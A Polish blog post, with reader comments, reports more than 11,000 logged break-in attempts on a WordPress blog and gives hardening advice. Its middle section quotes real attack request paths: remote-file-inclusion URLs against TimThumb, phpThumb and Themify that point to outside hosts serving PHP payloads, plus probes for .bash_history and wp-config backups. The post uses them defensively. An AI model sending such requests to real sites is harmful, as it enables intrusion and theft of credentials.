Tylko w ciągu 4 ostatnich miesięcy, odnotowałem ponad 11 000 (tak, jedenaście tysięcy) prób włamania na mojego bloga. Poniżej zestawienie najczęściej stosowanych metod oraz kilka prostych i skutecznych porad, jak się przed nimi zabezpieczyć. Jeżeli chcesz uniknąć przykrych niespodzianek, takich jak np. kadr z gejowskiego porno na głównej, czytaj dalej :)
Zgadujemy hasło
Najczęstszą metodę wykorzystywaną przez włamywaczy były próby nieautoryzowanego zalogowania się do panelu administratora. W sumie było ich ponad 10 000.
Oto pierwsza dziesiątka najpopularniejszych loginów wykorzystywanych w tym celu:
Lp. | Login | Ilość prób |
---|---|---|
1. | admin | 5158 |
2. | Administrator | 1232 |
3. | wpsamurai | 1175 |
4. | adm | 686 |
5. | user | 591 |
6. | user2 | 524 |
7. | tester | 429 |
8. | test | 379 |
9. | support | 350 |
10. | админ | 313 |
Mam nadzieję, że wszystkim, którzy mają konto o nazwie admin ścierpła teraz skóra :) Myślę, że przy prostym haśle, na 5000 prób szanse powodzenia są całkiem spore.
Moim drugim faworytem jeżeli chodzi o teoretyczną skuteczność, jest konto test. Kto zakładając konto testowe, ustawia mu bezpieczne hasło? Strzelam, że najczęściej są to hasła w stylu 123, test lub 111. Niestety nie zapisywałem haseł, używanych przez włamywaczy, ale pracuję nad tym :)
Włamania próbowano uskutecznić z ponad 2000 różnych adresów IP, praktycznie z całego świata. Najbardziej aktywny adres próbował ponad 900 razy.
Aby zabezpieczyć się przed tego typu incydentami, wystarczy nie stosować oczywistych nazw kont i używać mocnych haseł. Dodatkowo można zainstalować jedną z wtyczek poprawiających bezpieczeństwo WordPressa, które z automatu blokują użytkowników po kilku nieudanych próbach logowania. Poniżej przykład ustawień dla wtyczki Better WP Security.
Po 10 nieudanych próbach logowania na konkretne konto lub po 5 nieudanych próbach z konkretnego komputera, użytkownik zostaje zablokowany na 15 minut. Dodatkowo, możemy ustawić całkowite zablokowanie adresu IP, jeżeli te próby będą się powtarzały.
Wykorzystywanie dziur
Oprócz prostych prób złamania hasła zdarzały się także bardziej wymyślne metody, polegające na wykorzystywaniu dziur w różnych szablonach i skryptach.
Niektórzy próbowali przez TinyMCE (opis dziury):
/tiny_mce/plugins/ajaxfilemanager/ajax_create_folder.php
Niektórzy szukali wtyczki Akismet (zgłoszenie włamania):
/wp-content/plugins/akismet/akismet.php
Przez skrypt TimThumb w szablonie (opis dziury):
/wp-content/themes/striking/includes/timthumb.php?src=http%3A%2F%2Fwordpress.com.timsagida.com.tr%2Fcpx.php
Przez PhpThumb w szablonie (opis dziury):
/wp-content/themes/sensei/phpThumb.php?src=http://picasa.com.flightfitness.ca/itil.php
Przez dziurę w Themify:
/wp-content/themes/koi/themify/img_x.php?src=http%3A%2F%2Fimg.youtube.com.gracielascelebraciones.com%2Fmyluph.php
Ta próba była ciekawym strzałem :)
/.bash_history
To było sprytne:) Przyznać się, kto ma takie, lub podobne pliki w głównym katalogu? :)
/wp-config.php.bak /wp-config.old
Kilka łatwych do zastosowania porad zwiększających bezpieczeństwo Twojej strony
Podsumowując, 99% z wymienionych wyżej ataków można zneutralizować trzymając się kilku prostych zasad:
- Zawsze aktualizuj swojego WordPressa do najnowszej wersji (szczególnie o poprawki bezpieczeństwa). Trywialne, tyle się o tym mówi i wciąż wiele osób tego nie robi.
- Aktualizuj wtyczki i motywy do najnowszych wersji.
- Używaj wtyczek i motywów, które są aktywnie rozwijane. Zastanów się dwa razy przed instalacją czegokolwiek z repozytorium WordPressa, co nie było aktualizowane od 2 lat. Im starsza wtyczka, tym większa szansa, że jest w niej jakaś dziura, której nikt nie załatał.
- Jeżeli nie korzystasz już z wtyczki lub motywu, to mimo że je wyłączyłeś, nadal mogą stwarzać zagrożenie. Nie używasz? Odinstaluj!
- Używaj mocnych haseł. Hasło admin123 nie jest mocnym hasłem :) Hasło G1Twvnx54FlkVXglRXJN będzie lepsze :)
- Jeżeli masz konto o nazwie admin, niezależnie czy korzystasz z niego czy nie, zmień jego nazwę! Pomoże Ci w tym np. wtyczka Better WP Security. Prosta zmiana i połowa ataków nie ma już szansy powodzenia!
- Zainstaluj wtyczkę poprawiającą bezpieczeństwo (np. Better WP Security), która podpowie Ci jak możesz się jeszcze zabezpieczyć.
- Jeżeli chcesz ograniczyć ilość ataków związanych z logowaniem, dodaj autoryzację w pliku htaccess. Eliminuje próby zgadywania hasła w 99% przypadków.
To są naprawdę proste porady do zastosowania. Nie ma tutaj nic skomplikowanego (no może ostatni punkt wymaga trochę więcej wiedzy, ale opiszę to bardziej szczegółowo już niedługo :)
Podsumowanie
Jeżeli ktoś uważa, że jego blog, czy strona są mało znane, i nikt nie będzie próbował się na nie włamać, to wyprowadzam z błędu. Automaty nie patrzą, czy jesteś znany czy nie, ważne aby zdobyć dostęp do kolejnego systemu i wykorzystać go w taki, czy inny sposób.
Media:
Animowany gif na górze strony jest fragmentem z filmu Bruce Wszechmogący.
Ja bym jeszcze napisał o 2-factor-auth, jest w repo kilka wtyczek korzystających z API Google Athenticatora. :)
Dobry pomysł.
Ta metoda nie jest jeszcze zbyt dobrze znana a faktycznie pozwala wyeliminować praktycznie wszystkie ataki na na hasło. Z drugiej strony nie spotkałem jeszcze strony, która by z tego korzystała :) Używacie tego gdzieś?
Osobiście korzystam z połączenia CloudFlare + Security Ninja (w tym Ninja Login). Co do podwójnego logowania sam z tego korzystałem, jednak przy blogu, który jest dość często aktualizowany, a właściwie kilka razy dziennie jest to uciażliwe. Co do haseł osobiście stosuje te strasznie nietypowe np. .22 _22 22. 22_ (.cos – administratorzy _cos redaktorzy itp.) – nie spotkałem się z takimi atakami, gdzie boty próbują się dostać na takie konta.
Bardzo prosta metoda na obcięcie 99% ataków na formularz logowania: http://iworks.pl/2013/09/25/atak-na-wp-login-rozwiazanie/ polecam.
Opisana przez Ciebie reguła banującą dostęp do pliku wp-login.php to jest to, o czym pisałem w 8 punkcie. Super, dzięki Marcin za linka z gotowym rozwiązaniem:)
Ja używam do zabezpieczenia bloga wtyczki Chap Secure Login,pewnie znasz ta wtyczkę ale może dla innych info,że koduje przy logowaniu nasze hasło.Uważam,że to dobre rozwiązanie ale pomyślę o Twoich poradach bo warto mieć kilka stopni zabezpieczeń. Oczywiście najprostszy sposób to nie tak oczywisty login jak admin.Pozdrawiam :)
Dzięki za informację o wtyczce Chap Secure Login. Widziałem ją kiedyś, ale nie miałem okazji z niej skorzystać i trudno mi powiedzieć jak się sprawdza. Najbardziej uniwersalnym rozwiązaniem na szyfrowanie komunikacji (w tym i haseł) jest użycie protokołu https. Niestety wymaga to trochę więcej kombinacji niż sama instalacja wtyczki :/
Mam login i hasło dość skomplikowane ale przezorny zawsze ubezpieczony dlatego nie zaszkodzi zainstalować dodatkowe wtyczki
Niestety z błędami bywa tak, że wpierw włamywacz wykorzystuje lukę, robi masowy atak, a dopiero w konsekwencji tego ataku wychodzą poprawki.
Między innymi z tego też powodu co chwilę można gdzieś przeczytać, że ileś tam stron na WP przeżyło atak. To jest wada bardzo popularnych systemów i/lub systemów Open Source. Niestety.
Nie zawsze tak jest. Luki często zgłaszane są do twórców wtyczek przed ich opublikowaniem. Dzięki temu mają oni czas na przygotowanie poprawionej wersji a użytkownicy na aktualizację. Niestety bardzo dużo osób nie aktualizuje swoich stron i w konsekwencji padają ofiarą włamań, które wykorzystują znane dziury.
Zgadzam się, że WordPress z racji tego, że jest w tej chwili najpopularniejszym CMSem faktycznie jest najczęstszą ofiarą ataków. Czysta kalkulacja, po co się wysilać z włamaniami na jedną stroną, gdy tę samą dziurę można wykorzystać na tysiącach innych.
Warto pamiętać o tym, że zachowanie podstawowych zasad bezpieczeństwa (wymienione w artykule) pozwala w 99% wyeliminować wszelkie próby włamania. Do tego regularna kopia strony i możemy spać spokojnie :)
Jak sprawdzić czy ktoś próbował się „zalogować” do naszego konta?
Z tego co pamiętam to wtyczka iThemes Security (znana wcześniej jako Better WP Security), dostępna pod adresem https://wordpress.org/plugins/better-wp-security, zapisywała wszystkie nieudane próby logowania. Wyniki powinny być widoczne w zakładce Logs tej wtyczki.
Dzięki za podpowiedź. Dodatkowo widze więcej korzyści z zainstalowania wtyczki, dodatkowe rady na temat bezpieczeństwa.
witam mam takie pytanie, czy znasz jakąś wtyczke, gdzie można wpisać tylko z jakiego ip można dokonywać zmian na stronie?
problem jest taki ze ktos mi sie juz chyba wkradl na strone i nic nie pomaga w naprawie, mozliwe ze sobie zrobic jakis backdoor i moze robic co chce, zmiany hasel do panelu, ftp itd. nie pomagaja. Wiec mysle, ze moze jakbym ograniczyl zmiany do jednego IP to by nie mogl nic zrobic.
Z gory dzieki za odp.
Jeżeli rozumiem, to chciałbyś po prostu ograniczyć dostęp do panelu administratora tylko do wybranych adresów IP. W tym celu najlepiej dodać odpowiedni wpis w pliku .htaccess. Przykład jak to zrobić możesz znaleźć tutaj: http://codex.wordpress.org/Brute_Force_Attacks#Limit_Access_to_wp-admin_by_IP
Wprowadzając tę modyfikację trzeba uważać, bo niektóre słabo napisane wtyczki i szablony, które wykorzystują połączenia ajax mogą przestać działać. Niestety nie znam żadnej sprawdzonej wtyczki, którą mógłbym tutaj polecić.
Jeżeli chodzi o samo włamania, to po odnotowaniu takiego incydentu należy w pierwszej kolejności zrobić przegląd wszystkich plików i usunąć złośliwy kod, sprawdzić bazę danych, zaktualizować wszystko do najnowszych wersji, zmienić wszędzie hasła i dopiero wtedy można myśleć o zabezpieczeniach np. ograniczających logowanie do panelu do konkretnego IP.
/.bash_history ciekawy atak :)
Są gotowe exploity ktore sprawdzają wszystko od początku do konca i na atak 0-day nie ma rady :(
Zgadzam się, że na expoity 0-day nie ma mocnych. Przestrzeganie podstawowych zasad bezpieczeństwa pozwoli co najwyżej na ograniczenie tego typu zagrożeń. Z drugiej jednak strony to powszechnie znane dziury są podstawą większości włamań, a tutaj aktualizacja wtyczki czy szablonu do załatanej wersji bardzo szybko załatwia sprawę.
W 100% potwierdzam wszystko to, co jest napisane powyżej. Słabe hasła i konto „admin” to przekleństwo, które niedawno wykończyło naszą stronę. Dosłownie. Pozdrawiam serdecznie znad rebootowania strony ;)
Czy jest możliwość zablokowania konkretnych osób na blogu? Chodzi o WordPress…
Aktualnie moje strony dochodzą do siebie po włamaniu przez wtyczki WP Super Cache albo All in One SEO. Łatwo jest przeoczyć dodatkowego użykownika, którego zakładamy. Mój hostingodawca mówi, że najgorzej jest z WordPressami Klientów, którzy zapominają ich aktualizować. Ciekawa jestem czy jest jakaś aplikacja do WordPressa która będzie aktualizowała wtyczki i wordpressa klientom, którzy nie mają o tym pojęcia i nie pamiętają? Mój znajomy, którzy tworzy na joomli mówił, że kupi taką nakładkę….
Dla tych co mają to szczęście posiadać własnego dedyka lub VPS proponuje dodać jeszcze jedno zabezpieczenie (zakładam że Fail2Ban masz odpalone), mianowicie odpalić wtyczkę wp-fail2ban. Praktycznie każdy atak poprzedzony jest setkami lub tysiącami wcześniejszych prób ataku, stąd też odpalenie tej wtyczki, dodanie dla niej filtra w Fail2Ban oraz odpalenie dodatkowego filtra Recidive, podniesie bezpieczeństwo naszego WP pewnie o dodatkowe 0.3%-0.5%. Jak to działa? Bardzo prosto, po zadanej liczbie połączeń w danej jednostce czasu np 10 połączeń w przeciągu 10 sekund, następuje blokada na określony czas np. 5 minut. Tu wkracza teraz do akcji filtr Recidive, który nakłada blokadę delikwenta po zadanej ilości blokad WP-Fail2Ban np. po 5ciu, na określony czas np. miesiąc czasu :) W przypadku DDoS to zabezpieczenie raczej będzie marnym zabezpieczeniem ale w przypadku pozostałych ataków sprawdzi się znakomicie.
Niby oczywiste podstawy w dzisiejszych czasach ale nadal masa osób używa haseł w stylu „12345”.
Jednak artykuł bardzo przejrzysty i miły dla oka.